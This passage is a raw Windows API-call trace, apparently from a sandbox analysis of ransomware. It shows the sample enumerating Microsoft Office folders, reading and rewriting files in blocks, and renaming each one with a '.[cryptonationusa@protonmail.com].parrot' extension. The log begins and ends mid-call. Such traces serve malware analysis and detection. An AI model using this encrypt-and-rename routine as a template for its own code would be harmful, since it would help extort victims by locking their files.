ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf8abd620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf8abd620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.283] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf84a3dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5f6118, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACWZDA~1.PAR")) returned 1 [0182.284] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0182.286] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0182.286] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.286] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0182.286] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0182.286] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0182.287] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x456, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.287] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.287] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.289] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.289] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x33e, lpOverlapped=0x0) returned 1 [0182.289] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.290] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x456, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.290] CloseHandle (hObject=0x288) returned 1 [0182.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.295] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.295] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.295] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.296] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.296] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb3, lpOverlapped=0x0) returned 1 [0182.296] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.297] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.297] CloseHandle (hObject=0x288) returned 1 [0182.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.301] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x422, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.301] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.302] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.303] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.303] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30a, lpOverlapped=0x0) returned 1 [0182.304] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.304] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x422, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.304] CloseHandle (hObject=0x288) returned 1 [0182.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.310] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x89e, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.310] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.310] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.311] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x786, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x786, lpOverlapped=0x0) returned 1 [0182.312] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.312] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x89e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.312] CloseHandle (hObject=0x288) returned 1 [0182.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.316] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46a, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.316] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.316] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.318] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.318] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x352, lpOverlapped=0x0) returned 1 [0182.318] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.318] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.318] CloseHandle (hObject=0x288) returned 1 [0182.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.322] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38a, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.323] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.324] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x272, lpOverlapped=0x0) returned 1 [0182.324] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.324] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.324] CloseHandle (hObject=0x288) returned 1 [0182.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0182.328] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf8b2fa40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf8b2fa40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.328] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0182.330] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1935e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.330] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.330] ReadFile (in: hFile=0x280, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0182.331] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.331] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0182.361] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.361] WriteFile (in: hFile=0x280, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0182.365] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.365] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0182.367] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1935e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.367] CloseHandle (hObject=0x280) returned 1 [0182.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.377] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a20ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.377] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.377] ReadFile (in: hFile=0x280, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0182.379] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.379] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0182.412] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.412] WriteFile (in: hFile=0x280, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0182.415] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.415] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0182.418] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a20ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.418] CloseHandle (hObject=0x280) returned 1 [0182.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.470] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e26fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.470] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.470] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0182.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.472] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0182.509] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.509] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0182.513] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.513] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0182.515] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e26fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.515] CloseHandle (hObject=0x288) returned 1 [0182.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.525] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46198, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.525] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.525] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0182.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.527] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46080, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x46080, lpOverlapped=0x0) returned 1 [0182.539] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.553] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46198, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.554] CloseHandle (hObject=0x288) returned 1 [0182.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.562] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x699e, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.562] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.562] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0182.563] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.563] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6886, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x6886, lpOverlapped=0x0) returned 1 [0182.566] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.567] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x699e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.567] CloseHandle (hObject=0x288) returned 1 [0182.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.572] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8e69, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.573] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.573] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, 